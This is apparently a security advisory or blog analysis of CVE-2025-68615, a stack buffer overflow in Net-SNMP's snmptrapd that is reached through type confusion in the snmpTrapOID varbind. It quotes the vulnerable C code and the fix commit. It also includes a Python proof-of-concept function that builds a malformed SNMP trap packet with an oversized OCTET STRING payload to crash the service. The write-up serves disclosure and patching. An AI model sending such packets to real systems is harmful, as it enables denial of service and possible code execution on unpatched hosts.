CVE-2025-68615 - Net-SNMP Buffer Overflow Vulnerability via Type Confusion
Table of Contents
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (UDP/162)
- Authentication: None Required
- Impact: DoS
- Affected Versions: Net-SNMP 5.9.x - 5.9.4
- Patched Version: 5.9.5+
- Exploit: Link
- Credits: buddurid (ZDI)
A critical stack-based buffer overflow (CVSS 9.8) exists in the Net-SNMP snmptrapd service, which typically listens on UDP port 162. Reported via ZDI and tracked as CVE-2025-68615, the vulnerability arises during the processing of SNMPv2/v3 notifications. A logic flaw in a “fast path” optimization within the trap handler causes the service to trust the length of the snmpTrapOID variable binding without validating its data type.
By supplying a malformed variable binding—specifically employing type confusion to pass an ASN_OCTET_STR where an ASN_OBJECT_ID is expected—an attacker can trigger a memcpy that overflows a fixed-size 520-byte stack buffer. While modern exploit mitigations like stack canaries and ASLR may complicate exploitation, this vulnerability provides a primitive for Remote Code Execution (RCE) or service disruption (DoS).
Vulnerability Analysis
The Simple Network Management Protocol (SNMP) uses “traps” to send asynchronous notifications from agents to management stations. The snmptrapd daemon listens for these traps and processes them according to configured handlers.
Standard SNMP parsing enforces a MAX_OID_LEN (128 sub-identifiers) limit, which seemingly prevents overflowing the default OID buffers. However, snmptrapd contains a logic flaw in apps/snmptrapd_handlers.c. When parsing an incoming trap, the code checks if the second variable binding is the snmpTrapOID (1.3.6.1.6.3.1.1.4.1.0) and then blindly trusts the length of the snmpTrapOID variable binding without validating its data type.
apps/snmptrapd_handlers.c
int
snmp_input(int op, netsnmp_session *session,
int reqid, netsnmp_pdu *pdu, void *magic)
{
oid stdTrapOidRoot[] = { 1, 3, 6, 1, 6, 3, 1, 1, 5 };
oid snmpTrapOid[] = { 1, 3, 6, 1, 6, 3, 1, 1, 4, 1, 0 };
oid trapOid[MAX_OID_LEN+2] = {0};
int trapOidLen;
netsnmp_variable_list *vars;
netsnmp_trapd_handler *traph;
netsnmp_transport *transport = (netsnmp_transport *) magic;
int ret, idx;
switch (op) {
[..snip..]
case SNMP_MSG_INFORM:
/*
* v2c/v3 notifications *should* have snmpTrapOID as the
* second varbind, so we can go straight there.
* But check, just to make sure
*/
vars = pdu->variables;
if (vars)
vars = vars->next_variable;
if (!vars || snmp_oid_compare(vars->name, vars->name_length,
snmpTrapOid, OID_LENGTH(snmpTrapOid))) { // 1. Check if the Name matches snmpTrapOID
/*
* Didn't find it!
* Let's look through the full list....
*/
for ( vars = pdu->variables; vars; vars=vars->next_variable) {
if (!snmp_oid_compare(vars->name, vars->name_length,
snmpTrapOid, OID_LENGTH(snmpTrapOid)))
break;
}
if (!vars) {
/*
* Still can't find it! Give up.
*/
snmp_log(LOG_ERR, "Cannot find TrapOID in TRAP2 PDU\n");
return 1; /* ??? */
}
}
memcpy(trapOid, vars->val.objid, vars->val_len); // STACK OVERFLOW
trapOidLen = vars->val_len /sizeof(oid);
break;
[..snip..]
The above function contains the switch cases responsible to handle the incoming traps, as we could see the SNMP_MSG_INFORM which due to the logic flaw in the conditional check the if (!vars) condition returns false as we send a non-empty varbind value and the second check will also return false as snmp_oid_compare returns a 0 value as our crafted PDU will contain a valid TrapOID value. The code then flows to the memcpy call which triggers the stack overflow as the if condition is skipped.
Proof of Concept
def build_malicious_packet(payload_size=2000):
# 1. Variable Bindings
var_binds = univ.SequenceOf(univ.Sequence())
# VarBind 1: sysUpTime (required for valid trap)
# 1.3.6.1.2.1.1.3.0 = 12345
vb1 = univ.Sequence()
vb1.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.2.1.1.3.0'))
vb1.setComponentByPosition(1, univ.Integer(12345).subtype(
implicitTag=tag.Tag(tag.tagClassApplication, tag.tagFormatSimple, 3) # TimeTicks
))
var_binds.setComponentByPosition(0, vb1)
# VarBind 2: snmpTrapOID = MALICIOUS PAYLOAD
# Name: 1.3.6.1.6.3.1.1.4.1.0 (snmpTrapOID)
# Value: OCTET STRING ("A" * size) - TYPE CONFUSION!
vb2 = univ.Sequence()
vb2.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.1.1.4.1.0'))
vb2.setComponentByPosition(1, univ.OctetString("A" * payload_size))
var_binds.setComponentByPosition(1, vb2)
# 2. PDU
pdu = SNMPv2TrapPDU()
pdu.setComponentByName('request-id', 1999)
pdu.setComponentByName('error-status', 0)
pdu.setComponentByName('error-index', 0)
pdu.setComponentByName('variable-bindings', var_binds)
# 3. Message
msg = SNMPMessage()
msg.setComponentByName('version', 1) # SNMPv2c = 1
msg.setComponentByName('community', COMMUNITY)
msg.setComponentByName('data', pdu)
return encoder.encode(msg)
The build_malicious_packet function is a Python function that constructs a malicious SNMP trap packet with a large ASN_OCTET_STR value. Within the function, we set the community string to public and the request ID to 1999. We also set the error status and error index to 0 and the variable bindings to a sequence of sequences. The first sequence contains the sysUpTime variable binding, which is required for a valid trap. The second sequence contains the snmpTrapOID variable binding, which is the malicious payload. In the second variable bind, we set the snmpTrapOID to a large ASN_OCTET_STR value.

Mitigation
Code Fix: The fix involves enforcing SNMP_MIN to ensure the copy length never exceeds the buffer size. The type check is also implemented to ensure that the variable binding is an ASN_OBJECT_ID (mitigating the type check issue), this is done by checking the vars->type value.
Commit: 439b12cff7c0fe761c413b63f53a4e47b9bb606b
for ( vars = pdu->variables; vars; vars=vars->next_variable) {
if (vars->type != ASN_OBJECT_ID) // variable type check
continue;
if (!snmp_oid_compare(vars->name, vars->name_length,
snmpTrapOid, OID_LENGTH(snmpTrapOid)))
break;
}
if (!vars) {
/*
* Still can't find it! Give up.
*/
snmp_log(LOG_ERR, "Cannot find TrapOID in TRAP2 PDU\n");
return 1; /* ??? */
}
}
trapOidLen = SNMP_MIN(sizeof(trapOid), vars->val_len) / sizeof(oid); // upper bound check
memcpy(trapOid, vars->val.objid, trapOidLen * sizeof(oid));
break;